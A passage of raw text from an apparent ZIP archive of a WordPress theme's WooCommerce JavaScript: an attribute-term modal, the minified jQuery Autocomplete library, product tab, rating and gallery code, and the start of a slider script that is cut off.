    var $modal = $('#penci-modal-container'),
        $spinner = $modal.find('.spinner'),
        $msg = $modal.find('.message'),
        $metabox = null;

    $body.on('click', '.penci_add_new_attribute', function (e) {
        e.preventDefault();
        var $button = $(this),
            taxInputTemplate = wp.template('penci-input-tax'),
            data = {
                type: $button.data('type'),
                tax: $button.closest('.woocommerce_attribute').data('taxonomy')
            };

        // Insert input
        $modal.find('.penci-term-swatch').html($('#tmpl-penci-input-' + data.type).html());
        $modal.find('.penci-term-tax').html(taxInputTemplate(data));

        if ('color' == data.type) {
            $modal.find('input.penci-input-color').wpColorPicker();
        }

        $metabox = $button.closest('.woocommerce_attribute.wc-metabox');
        $modal.show();
    }).on('click', '.penci-modal-close, .penci-modal-backdrop', function (e) {
        e.preventDefault();

        closeModal();
    });

    // Send ajax request to add new attribute term
    $body.on('click', '.penci-new-attribute-submit', function (e) {
        e.preventDefault();

        var $button = $(this),
            type = $button.data('type'),
            error = false,
            data = {};

        // Validate
        $modal.find('.penci-input').each(function () {
            var $this = $(this);

            if ($this.attr('name') != 'slug' && !$this.val()) {
                $this.addClass('error');
                error = true;
            } else {
                $this.removeClass('error');
            }

            data[$this.attr('name')] = $this.val();
        });

        if (error) {
            return;
        }

        // Send ajax request
        $spinner.addClass('is-active');
        $msg.hide();
        wp.ajax.send('penci_add_new_attribute', {
            data: data,
            error: function (res) {
                $spinner.removeClass('is-active');
                $msg.addClass('error').text(res).show();
            },
            success: function (res) {
                $spinner.removeClass('is-active');
                $msg.addClass('success').text(res.msg).show();

                $metabox.find('select.attribute_values').append('<option value="' + res.id + '" selected="selected">' + res.name + '</option>');
                $metabox.find('select.attribute_values').change();

                closeModal();
            }
        });
    });

    /**
     * Close modal
     */
    function closeModal() {
        $modal.find('.penci-term-name input, .penci-term-slug input').val('');
        $spinner.removeClass('is-active');
        $msg.removeClass('error success').hide();
        $modal.hide();
    }
});
PK     N\q-4  4  -  inc/woocommerce/js/jquery.autocomplete.min.jsnu [        /**
*  Ajax Autocomplete for jQuery, version 1.4.11
*  (c) 2017 Tomas Kirda
*
*  Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license.
*  For details, see the web site: https://github.com/devbridge/jQuery-Autocomplete
*/
!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports&&"function"==typeof require?t(require("jquery")):t(jQuery)}(function(t){"use strict";var e={escapeRegExChars:function(t){return t.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&")},createNode:function(t){var e=document.createElement("div");return e.className=t,e.style.position="absolute",e.style.display="none",e}},s=27,i=9,n=13,o=38,a=39,u=40,l=t.noop;function r(e,s){this.element=e,this.el=t(e),this.suggestions=[],this.badQueries=[],this.selectedIndex=-1,this.currentValue=this.element.value,this.timeoutId=null,this.cachedResponse={},this.onChangeTimeout=null,this.onChange=null,this.isLocal=!1,this.suggestionsContainer=null,this.noSuggestionsContainer=null,this.options=t.extend(!0,{},r.defaults,s),this.classes={selected:"autocomplete-selected",suggestion:"autocomplete-suggestion"},this.hint=null,this.hintValue="",this.selection=null,this.initialize(),this.setOptions(s)}r.utils=e,t.Autocomplete=r,r.defaults={ajaxSettings:{},autoSelectFirst:!1,appendTo:"body",serviceUrl:null,lookup:null,onSelect:null,onHint:null,width:"auto",minChars:1,maxHeight:300,deferRequestBy:0,params:{},formatResult:function(t,s){if(!s)return t.value;var i="("+e.escapeRegExChars(s)+")";return t.value.replace(new RegExp(i,"gi"),"<strong>$1</strong>").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/&lt;(\/?strong)&gt;/g,"<$1>")},formatGroup:function(t,e){return'<div class="autocomplete-group">'+e+"</div>"},delimiter:null,zIndex:9999,type:"GET",noCache:!1,onSearchStart:l,onSearchComplete:l,onSearchError:l,preserveInput:!1,containerClass:"autocomplete-suggestions",tabDisabled:!1,dataType:"text",currentRequest:null,triggerSelectOnValidInput:!0,preventBadQueries:!0,lookupFilter:function(t,e,s){return-1!==t.value.toLowerCase().indexOf(s)},paramName:"query",transformResult:function(e){return"string"==typeof e?t.parseJSON(e):e},showNoSuggestionNotice:!1,noSuggestionNotice:"No results",orientation:"bottom",forceFixPosition:!1},r.prototype={initialize:function(){var e,s=this,i="."+s.classes.suggestion,n=s.classes.selected,o=s.options;s.element.setAttribute("autocomplete","off"),s.noSuggestionsContainer=t('<div class="autocomplete-no-suggestion"></div>').html(this.options.noSuggestionNotice).get(0),s.suggestionsContainer=r.utils.createNode(o.containerClass),(e=t(s.suggestionsContainer)).appendTo(o.appendTo||"body"),"auto"!==o.width&&e.css("width",o.width),e.on("mouseover.autocomplete",i,function(){s.activate(t(this).data("index"))}),e.on("mouseout.autocomplete",function(){s.selectedIndex=-1,e.children("."+n).removeClass(n)}),e.on("click.autocomplete",i,function(){s.select(t(this).data("index"))}),e.on("click.autocomplete",function(){clearTimeout(s.blurTimeoutId)}),s.fixPositionCapture=function(){s.visible&&s.fixPosition()},t(window).on("resize.autocomplete",s.fixPositionCapture),s.el.on("keydown.autocomplete",function(t){s.onKeyPress(t)}),s.el.on("keyup.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("blur.autocomplete",function(){s.onBlur()}),s.el.on("focus.autocomplete",function(){s.onFocus()}),s.el.on("change.autocomplete",function(t){s.onKeyUp(t)}),s.el.on("input.autocomplete",function(t){s.onKeyUp(t)})},onFocus:function(){this.disabled||(this.fixPosition(),this.el.val().length>=this.options.minChars&&this.onValueChange())},onBlur:function(){var e=this,s=e.options,i=e.el.val(),n=e.getQuery(i);e.blurTimeoutId=setTimeout(function(){e.hide(),e.selection&&e.currentValue!==n&&(s.onInvalidateSelection||t.noop).call(e.element)},200)},abortAjax:function(){this.currentRequest&&(this.currentRequest.abort(),this.currentRequest=null)},setOptions:function(e){var s=t.extend({},this.options,e);this.isLocal=Array.isArray(s.lookup),this.isLocal&&(s.lookup=this.verifySuggestionsFormat(s.lookup)),s.orientation=this.validateOrientation(s.orientation,"bottom"),t(this.suggestionsContainer).css({"max-height":s.maxHeight+"px",width:s.width+"px","z-index":s.zIndex}),this.options=s},clearCache:function(){this.cachedResponse={},this.badQueries=[]},clear:function(){this.clearCache(),this.currentValue="",this.suggestions=[]},disable:function(){this.disabled=!0,clearTimeout(this.onChangeTimeout),this.abortAjax()},enable:function(){this.disabled=!1},fixPosition:function(){var e=t(this.suggestionsContainer),s=e.parent().get(0);if(s===document.body||this.options.forceFixPosition){var i=this.options.orientation,n=e.outerHeight(),o=this.el.outerHeight(),a=this.el.offset(),u={top:a.top,left:a.left};if("auto"===i){var l=t(window).height(),r=t(window).scrollTop(),h=-r+a.top-n,c=r+l-(a.top+o+n);i=Math.max(h,c)===h?"top":"bottom"}if(u.top+="top"===i?-n:o,s!==document.body){var g,d=e.css("opacity");this.visible||e.css("opacity",0).show(),g=e.offsetParent().offset(),u.top-=g.top,u.top+=s.scrollTop,u.left-=g.left,this.visible||e.css("opacity",d).hide()}"auto"===this.options.width&&(u.width=this.el.outerWidth()+"px"),e.css(u)}},isCursorAtEnd:function(){var t,e=this.el.val().length,s=this.element.selectionStart;return"number"==typeof s?s===e:!document.selection||((t=document.selection.createRange()).moveStart("character",-e),e===t.text.length)},onKeyPress:function(t){if(this.disabled||this.visible||t.which!==u||!this.currentValue){if(!this.disabled&&this.visible){switch(t.which){case s:this.el.val(this.currentValue),this.hide();break;case a:if(this.hint&&this.options.onHint&&this.isCursorAtEnd()){this.selectHint();break}return;case i:if(this.hint&&this.options.onHint)return void this.selectHint();if(-1===this.selectedIndex)return void this.hide();if(this.select(this.selectedIndex),!1===this.options.tabDisabled)return;break;case n:if(-1===this.selectedIndex)return void this.hide();this.select(this.selectedIndex);break;case o:this.moveUp();break;case u:this.moveDown();break;default:return}t.stopImmediatePropagation(),t.preventDefault()}}else this.suggest()},onKeyUp:function(t){var e=this;if(!e.disabled){switch(t.which){case o:case u:return}clearTimeout(e.onChangeTimeout),e.currentValue!==e.el.val()&&(e.findBestHint(),e.options.deferRequestBy>0?e.onChangeTimeout=setTimeout(function(){e.onValueChange()},e.options.deferRequestBy):e.onValueChange())}},onValueChange:function(){if(this.ignoreValueChange)this.ignoreValueChange=!1;else{var e=this.options,s=this.el.val(),i=this.getQuery(s);this.selection&&this.currentValue!==i&&(this.selection=null,(e.onInvalidateSelection||t.noop).call(this.element)),clearTimeout(this.onChangeTimeout),this.currentValue=s,this.selectedIndex=-1,e.triggerSelectOnValidInput&&this.isExactMatch(i)?this.select(0):i.length<e.minChars?this.hide():this.getSuggestions(i)}},isExactMatch:function(t){var e=this.suggestions;return 1===e.length&&e[0].value.toLowerCase()===t.toLowerCase()},getQuery:function(e){var s,i=this.options.delimiter;return i?(s=e.split(i),t.trim(s[s.length-1])):e},getSuggestionsLocal:function(e){var s,i=this.options,n=e.toLowerCase(),o=i.lookupFilter,a=parseInt(i.lookupLimit,10);return s={suggestions:t.grep(i.lookup,function(t){return o(t,e,n)})},a&&s.suggestions.length>a&&(s.suggestions=s.suggestions.slice(0,a)),s},getSuggestions:function(e){var s,i,n,o,a=this,u=a.options,l=u.serviceUrl;u.params[u.paramName]=e,!1!==u.onSearchStart.call(a.element,u.params)&&(i=u.ignoreParams?null:u.params,t.isFunction(u.lookup)?u.lookup(e,function(t){a.suggestions=t.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,t.suggestions)}):(a.isLocal?s=a.getSuggestionsLocal(e):(t.isFunction(l)&&(l=l.call(a.element,e)),n=l+"?"+t.param(i||{}),s=a.cachedResponse[n]),s&&Array.isArray(s.suggestions)?(a.suggestions=s.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,s.suggestions)):a.isBadQuery(e)?u.onSearchComplete.call(a.element,e,[]):(a.abortAjax(),o={url:l,data:i,type:u.type,dataType:u.dataType},t.extend(o,u.ajaxSettings),a.currentRequest=t.ajax(o).done(function(t){var s;a.currentRequest=null,s=u.transformResult(t,e),a.processResponse(s,e,n),u.onSearchComplete.call(a.element,e,s.suggestions)}).fail(function(t,s,i){u.onSearchError.call(a.element,e,t,s,i)}))))},isBadQuery:function(t){if(!this.options.preventBadQueries)return!1;for(var e=this.badQueries,s=e.length;s--;)if(0===t.indexOf(e[s]))return!0;return!1},hide:function(){var e=t(this.suggestionsContainer);t.isFunction(this.options.onHide)&&this.visible&&this.options.onHide.call(this.element,e),this.visible=!1,this.selectedIndex=-1,clearTimeout(this.onChangeTimeout),t(this.suggestionsContainer).hide(),this.onHint(null)},suggest:function(){if(this.suggestions.length){var e,s=this.options,i=s.groupBy,n=s.formatResult,o=this.getQuery(this.currentValue),a=this.classes.suggestion,u=this.classes.selected,l=t(this.suggestionsContainer),r=t(this.noSuggestionsContainer),h=s.beforeRender,c="";s.triggerSelectOnValidInput&&this.isExactMatch(o)?this.select(0):(t.each(this.suggestions,function(t,u){i&&(c+=function(t,n){var o=t.data[i];return e===o?"":(e=o,s.formatGroup(t,e))}(u,0)),c+='<div class="'+a+'" data-index="'+t+'">'+n(u,o,t)+"</div>"}),this.adjustContainerWidth(),r.detach(),l.html(c),t.isFunction(h)&&h.call(this.element,l,this.suggestions),this.fixPosition(),l.show(),s.autoSelectFirst&&(this.selectedIndex=0,l.scrollTop(0),l.children("."+a).first().addClass(u)),this.visible=!0,this.findBestHint())}else this.options.showNoSuggestionNotice?this.noSuggestions():this.hide()},noSuggestions:function(){var e=this.options.beforeRender,s=t(this.suggestionsContainer),i=t(this.noSuggestionsContainer);this.adjustContainerWidth(),i.detach(),s.empty(),s.append(i),t.isFunction(e)&&e.call(this.element,s,this.suggestions),this.fixPosition(),s.show(),this.visible=!0},adjustContainerWidth:function(){var e,s=this.options,i=t(this.suggestionsContainer);"auto"===s.width?(e=this.el.outerWidth(),i.css("width",e>0?e:300)):"flex"===s.width&&i.css("width","")},findBestHint:function(){var e=this.el.val().toLowerCase(),s=null;e&&(t.each(this.suggestions,function(t,i){var n=0===i.value.toLowerCase().indexOf(e);return n&&(s=i),!n}),this.onHint(s))},onHint:function(e){var s=this.options.onHint,i="";e&&(i=this.currentValue+e.value.substr(this.currentValue.length)),this.hintValue!==i&&(this.hintValue=i,this.hint=e,t.isFunction(s)&&s.call(this.element,i))},verifySuggestionsFormat:function(e){return e.length&&"string"==typeof e[0]?t.map(e,function(t){return{value:t,data:null}}):e},validateOrientation:function(e,s){return e=t.trim(e||"").toLowerCase(),-1===t.inArray(e,["auto","bottom","top"])&&(e=s),e},processResponse:function(t,e,s){var i=this.options;t.suggestions=this.verifySuggestionsFormat(t.suggestions),i.noCache||(this.cachedResponse[s]=t,i.preventBadQueries&&!t.suggestions.length&&this.badQueries.push(e)),e===this.getQuery(this.currentValue)&&(this.suggestions=t.suggestions,this.suggest())},activate:function(e){var s,i=this.classes.selected,n=t(this.suggestionsContainer),o=n.find("."+this.classes.suggestion);return n.find("."+i).removeClass(i),this.selectedIndex=e,-1!==this.selectedIndex&&o.length>this.selectedIndex?(s=o.get(this.selectedIndex),t(s).addClass(i),s):null},selectHint:function(){var e=t.inArray(this.hint,this.suggestions);this.select(e)},select:function(t){this.hide(),this.onSelect(t)},moveUp:function(){if(-1!==this.selectedIndex)return 0===this.selectedIndex?(t(this.suggestionsContainer).children("."+this.classes.suggestion).first().removeClass(this.classes.selected),this.selectedIndex=-1,this.ignoreValueChange=!1,this.el.val(this.currentValue),void this.findBestHint()):void this.adjustScroll(this.selectedIndex-1)},moveDown:function(){this.selectedIndex!==this.suggestions.length-1&&this.adjustScroll(this.selectedIndex+1)},adjustScroll:function(e){var s=this.activate(e);if(s){var i,n,o,a=t(s).outerHeight();i=s.offsetTop,o=(n=t(this.suggestionsContainer).scrollTop())+this.options.maxHeight-a,i<n?t(this.suggestionsContainer).scrollTop(i):i>o&&t(this.suggestionsContainer).scrollTop(i-this.options.maxHeight+a),this.options.preserveInput||(this.ignoreValueChange=!0,this.el.val(this.getValue(this.suggestions[e].value))),this.onHint(null)}},onSelect:function(e){var s=this.options.onSelect,i=this.suggestions[e];this.currentValue=this.getValue(i.value),this.currentValue===this.el.val()||this.options.preserveInput||this.el.val(this.currentValue),this.onHint(null),this.suggestions=[],this.selection=i,t.isFunction(s)&&s.call(this.element,i)},getValue:function(t){var e,s,i=this.options.delimiter;return i?1===(s=(e=this.currentValue).split(i)).length?t:e.substr(0,e.length-s[s.length-1].length)+t:t},dispose:function(){this.el.off(".autocomplete").removeData("autocomplete"),t(window).off("resize.autocomplete",this.fixPositionCapture),t(this.suggestionsContainer).remove()}},t.fn.devbridgeAutocomplete=function(e,s){return arguments.length?this.each(function(){var i=t(this),n=i.data("autocomplete");"string"==typeof e?n&&"function"==typeof n[e]&&n[e](s):(n&&n.dispose&&n.dispose(),n=new r(this,e),i.data("autocomplete",n))}):this.first().data("autocomplete")},t.fn.autocomplete||(t.fn.autocomplete=t.fn.devbridgeAutocomplete)});
PK     N\We)  )  $  inc/woocommerce/js/single-product.jsnu [        /*global wc_single_product_params, PhotoSwipe, PhotoSwipeUI_Default */
jQuery(function ($) {

    // wc_single_product_params is required to continue.
    if (typeof wc_single_product_params === 'undefined') {
        return false;
    }

    $('body')
        // Tabs
        .on('init', '.wc-tabs-wrapper, .woocommerce-tabs', function () {
            $(this).find('.wc-tab, .woocommerce-tabs .panel:not(.panel .panel)').hide();

            var hash = window.location.hash;
            var url = window.location.href;
            var $tabs = $(this).find('.wc-tabs, ul.tabs').first();

            if (hash.toLowerCase().indexOf('comment-') >= 0 || hash === '#reviews' || hash === '#tab-reviews') {
                $tabs.find('li.reviews_tab a').trigger('click');
            } else if (url.indexOf('comment-page-') > 0 || url.indexOf('cpage=') > 0) {
                $tabs.find('li.reviews_tab a').trigger('click');
            } else if (hash === '#tab-additional_information') {
                $tabs.find('li.additional_information_tab a').trigger('click');
            } else {
                $tabs.find('li:first a').trigger('click');
            }
        })
        .on('click', '.wc-tabs li a, ul.tabs li a', function (e) {
            e.preventDefault();
            var $tab = $(this);
            var $tabs_wrapper = $tab.closest('.wc-tabs-wrapper, .woocommerce-tabs');
            var $tabs = $tabs_wrapper.find('.wc-tabs, ul.tabs');

            $tabs.find('li').removeClass('active');
            $tabs_wrapper.find('.wc-tab, .panel:not(.panel .panel)').hide();

            $tab.closest('li').addClass('active');
            $tabs_wrapper.find($tab.attr('href')).show();
        })
        // Review link
        .on('click', 'a.woocommerce-review-link', function () {
            $('.reviews_tab a').trigger('click');
            return true;
        })
        // Star ratings for comments
        .on('init', '#rating', function () {
            $('#rating')
                .hide()
                .before(
                    '<p class="stars">\
                        <span>\
                            <a class="star-1" href="#">1</a>\
                            <a class="star-2" href="#">2</a>\
                            <a class="star-3" href="#">3</a>\
                            <a class="star-4" href="#">4</a>\
                            <a class="star-5" href="#">5</a>\
                        </span>\
                    </p>'
                );
        })
        .on('click', '#respond p.stars a', function () {
            var $star = $(this),
                $rating = $(this).closest('#respond').find('#rating'),
                $container = $(this).closest('.stars');

            $rating.val($star.text());
            $star.siblings('a').removeClass('active');
            $star.addClass('active');
            $container.addClass('selected');

            return false;
        })
        .on('click', '#respond #submit', function () {
            var $rating = $(this).closest('#respond').find('#rating'),
                rating = $rating.val();

            if ($rating.length > 0 && !rating && wc_single_product_params.review_rating_required === 'yes') {
                window.alert(wc_single_product_params.i18n_required_rating_text);

                return false;
            }
        });

    // Init Tabs and Star Ratings
    $('.wc-tabs-wrapper, .woocommerce-tabs, #rating').trigger('init');

    /**
     * Product gallery class.
     */
    var ProductGallery = function ($target, args) {
        this.$target = $target;
        this.$images = $('.pcw-gallery-main', $target);

        // No images? Abort.
        if (0 === this.$images.length) {
            this.$target.css('opacity', 1);
            return;
        }

        // Make this object available.
        $target.data('product_gallery', this);

        // Pick functionality to initialize...
        //this.flexslider_enabled = 'function' === typeof $.fn.flexslider && wc_single_product_params.flexslider_enabled;
        this.zoom_enabled = 'function' === typeof $.fn.zoom && wc_single_product_params.zoom_enabled;
        this.photoswipe_enabled = typeof PhotoSwipe !== 'undefined' && wc_single_product_params.photoswipe_enabled;

        // ...also taking args into account.
        if (args) {
            //this.flexslider_enabled = false === args.flexslider_enabled ? false : this.flexslider_enabled;
            this.zoom_enabled = false === args.zoom_enabled ? false : this.zoom_enabled;
            this.photoswipe_enabled = false === args.photoswipe_enabled ? false : this.photoswipe_enabled;
        }

        // ...and what is in the gallery.
        /*if ( 1 === this.$images.length ) {
            this.flexslider_enabled = false;
        }*/

        // Bind functions to this.
        //this.initFlexslider       = this.initFlexslider.bind( this );
        this.initZoom = this.initZoom.bind(this);
        this.initZoomForTarget = this.initZoomForTarget.bind(this);
        this.initPhotoswipe = this.initPhotoswipe.bind(this);
        //this.onResetSlidePosition = this.onResetSlidePosition.bind( this );
        this.getGalleryItems = this.getGalleryItems.bind(this);
        this.openPhotoswipe = this.openPhotoswipe.bind(this);

        /*if ( this.flexslider_enabled ) {
            this.initFlexslider( args.flexslider );
            $target.on( 'woocommerce_gallery_reset_slide_position', this.onResetSlidePosition );
        } else {
            this.$target.css( 'opacity', 1 );
        }*/

        if (this.zoom_enabled) {
            this.initZoom();
            $target.on('woocommerce_gallery_init_zoom', this.initZoom);
        }

        if (this.photoswipe_enabled) {
            this.initPhotoswipe();
        }
    };

    /**
     * Init zoom.
     */
    ProductGallery.prototype.initZoom = function () {
        this.initZoomForTarget(this.$images.first());
    };

    /**
     * Init zoom.
     */
    ProductGallery.prototype.initZoomForTarget = function (zoomTarget) {
        if (!this.zoom_enabled) {
            return false;
        }

        var galleryWidth = this.$target.width(),
            zoomEnabled = false;

        $(zoomTarget).each(function (index, target) {
            var image = $(target).find('img');

            if (image.data('large_image_width') > galleryWidth) {
                zoomEnabled = true;
                return false;
            }
        });

        // But only zoom if the img is larger than its container.
        if (zoomEnabled) {
            var zoom_options = $.extend({
                touch: false
            }, wc_single_product_params.zoom_options);

            if ('ontouchstart' in document.documentElement) {
                zoom_options.on = 'click';
            }

            zoomTarget.trigger('zoom.destroy');
            zoomTarget.zoom(zoom_options);

            setTimeout(function () {
                if (zoomTarget.find(':hover').length) {
                    zoomTarget.trigger('mouseover');
                }
            }, 100);
        }
    };

    /**
     * Init PhotoSwipe.
     */
    ProductGallery.prototype.initPhotoswipe = function () {
        if (this.zoom_enabled && this.$images.length > 0) {
            this.$target.prepend('<a href="#" class="woocommerce-product-gallery__trigger">🔍</a>');
            this.$target.on('click', '.woocommerce-product-gallery__trigger', this.openPhotoswipe);
            this.$target.on('click', '.woocommerce-product-gallery__image a', function (e) {
                e.preventDefault();
            });


            this.$target.on('click', '.woocommerce-product-gallery__image a', this.openPhotoswipe);
        } else {
            this.$target.on('click', '.woocommerce-product-gallery__image a', this.openPhotoswipe);
        }
    };

    /**
     * Get product gallery image items.
     */
    ProductGallery.prototype.getGalleryItems = function () {
        var $slides = this.$images,
            items = [];

        if ($slides.length > 0) {
            $slides.each(function (i, el) {
                var img = $(el).find('img');

                if (img.length) {
                    var large_image_src = img.attr('data-large_image'),
                        large_image_w = img.attr('data-large_image_width'),
                        large_image_h = img.attr('data-large_image_height'),
                        alt = img.attr('alt'),
                        item = {
                            alt: alt,
                            src: large_image_src,
                            w: large_image_w,
                            h: large_image_h,
                            title: img.attr('data-caption') ? img.attr('data-caption') : img.attr('title')
                        };
                    items.push(item);
                }
            });
        }

        return items;
    };

    /**
     * Open photoswipe modal.
     */
    ProductGallery.prototype.openPhotoswipe = function (e) {
        e.preventDefault();

        var pswpElement = $('.pswp')[0],
            items = this.getGalleryItems(),
            eventTarget = $(e.target),
            clicked;

        if (eventTarget.is('.woocommerce-product-gallery__trigger') || eventTarget.is('.woocommerce-product-gallery__trigger img')) {
            clicked = this.$target.find('.slick-slide.slick-active');
        } else {
            clicked = eventTarget.closest('.woocommerce-product-gallery__image');
        }

        var options = $.extend({
            index: $(clicked).index(),
            addCaptionHTMLFn: function (item, captionEl) {
                if (!item.title) {
                    captionEl.children[0].textContent = '';
                    return false;
                }
                captionEl.children[0].textContent = item.title;
                return true;
            }
        }, wc_single_product_params.photoswipe_options);

        // Initializes and opens PhotoSwipe.
        var photoswipe = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options);
        photoswipe.init();
    };

    /**
     * Function to call wc_product_gallery on jquery selector.
     */
    $.fn.wc_product_gallery = function (args) {
        new ProductGallery(this, args || wc_single_product_params);
        return this;
    };

    /*
     * Initialize all galleries on page.
     */
    $('.woocommerce-product-gallery').each(function () {

        $(this).trigger('wc-product-gallery-before-init', [this, wc_single_product_params]);

        $(this).wc_product_gallery(wc_single_product_params);

        $(this).trigger('wc-product-gallery-after-init', [this, wc_single_product_params]);

    });
});
PK     N\ɪ$ $ '  inc/woocommerce/js/penci-woocommerce.jsnu [        (
	function ( $ ) {
		'use strict'
		var PENCI = PENCI || {}

		/* Check mobile device
	 ---------------------------------------------------------------*/
		PENCI.isMobile = function () {
			var isMobile = false
			if ( /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|ipad|iris|kindle|Android|Silk|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test( navigator.userAgent ) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test( navigator.userAgent.substr( 0, 4 ) ) ) {
				isMobile = true
			}
			return isMobile
		}

		/* Elementor Edit Mode
	---------------------------------------------------------------*/
		PENCI.elAction = function ( name, callback ) {
			$( window ).on( 'elementor/frontend/init', function () {
				if ( !elementorFrontend.isEditMode() ) {
					return
				}

				elementorFrontend.hooks.addAction( name, callback )
			} )
		}

		/* YITH Plugin loading icon
	 ---------------------------------------------------------------*/
		PENCI.yith = function () {
			var $list_producs = $( 'ul.products' )

			$list_producs.on( 'click', '.add_to_wishlist.single_add_to_wishlist', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$list_producs.on( 'added_to_wishlist', function () {
				$singleBtn.removeClass( 'loading' )
			} )

			$( document ).on( 'click', '.button.yith-wcqv-button', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$( document ).on( 'qv_loader_stop', function () {
				var $singleBtn = $( '.button.yith-wcqv-button' )
				if ( $singleBtn.hasClass( 'loading' ) ) {
					$singleBtn.removeClass( 'loading' )
				}
			} )

			$( document ).on( 'click', '.product a.compare:not(.added)', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$( 'body' ).on( 'yith_woocompare_open_popup', function ( e, data ) {
				data.button.removeClass( 'loading' )
			} )
		}

		/* Product Image Slider
	 ---------------------------------------------------------------*/
		PENCI.productslider = function ( zoom = true, quickview = false ) {

			var $slider = $( '.penci-product-gallery-slider.splide' ),
				$thumbnail_slider = $( '.penci-thumbnail-slider.splide' ),
				$wrapper = $( '.woocommerce-product-gallery' ), $thumb_list = '.penci-thumbnail-image-wrapper',
				$gallery_list = '.penci-product-gallery-items', $rtl = false, $lazy = 'ondemand', $centerMode = true,
				slides = 3, $vertical

			$wrapper.removeClass( 'no-js' )

			if ( quickview ) {
				$thumb_list = '.quick-view-wrapper .penci-thumbnail-image-wrapper'
				$gallery_list = '.quick-view-wrapper .penci-product-gallery-items'
			}

			if ( $( 'body' ).hasClass( 'rtl' ) ) {
				$rtl = true
			}

			if ( $wrapper.hasClass( 'thumbnail-left' ) || $wrapper.hasClass( 'thumbnail-right' ) ) {
				$vertical = 'vertical'
			}

			if ( $wrapper.hasClass( 'quickview-screen' ) || $wrapper.hasClass( 'thumbnail-bottom' ) ) {
				$vertical = 'horizontal'
			}

			if ( window.matchMedia( '(max-width: 767px)' ).matches ) {
				$vertical = 'horizontal'
			}

			$thumbnail_slider.on( 'click', 'a', function ( e ) {
				e.preventDefault()
			} )

			if ( $slider.length > 0 && $thumbnail_slider.length > 0 ) {

				var $thumb_arg = {
					slidesPerView: 5,
					direction: $vertical,
					spaceBetween: 10,
					loop: true,
					slideActiveClass: 'active',
					slideToClickedSlide: true,
					breakpoints: {
						320: {
							direction: 'horizontal',
						},
						768: {
							direction: 'horizontal',
						},
						1170: {
							direction: $vertical,
						},
					},
					navigation: {
						nextEl: '.penci-custom-thumbnail-nav .penci-product-slider-next',
						prevEl: '.penci-custom-thumbnail-nav .penci-product-slider-prev',
					},
				}

				var swiper_thumbnail_list = new Swiper( $thumb_list, $thumb_arg )

				var swiper_gallery_list = new Swiper( $gallery_list, {
					slidesPerView: 1,
					loop: true,
					thumbs: {
						swiper: swiper_thumbnail_list,
					},
				} )

				if ( $('body').hasClass('rtl') ) {
					swiper_gallery_list.changeLanguageDirection( 'ltr' )
				}

			} else if ( $slider.length > 0 ) {
				var $slider_options
				if ( $slider.hasClass( 'fullwidth-container' ) || $slider.hasClass( 'fullwidth' ) ) {

					$( $gallery_list ).addClass( 'penci-owl-carousel penci-owl-carousel-slider' )


					const swiper = new Swiper( $gallery_list, {
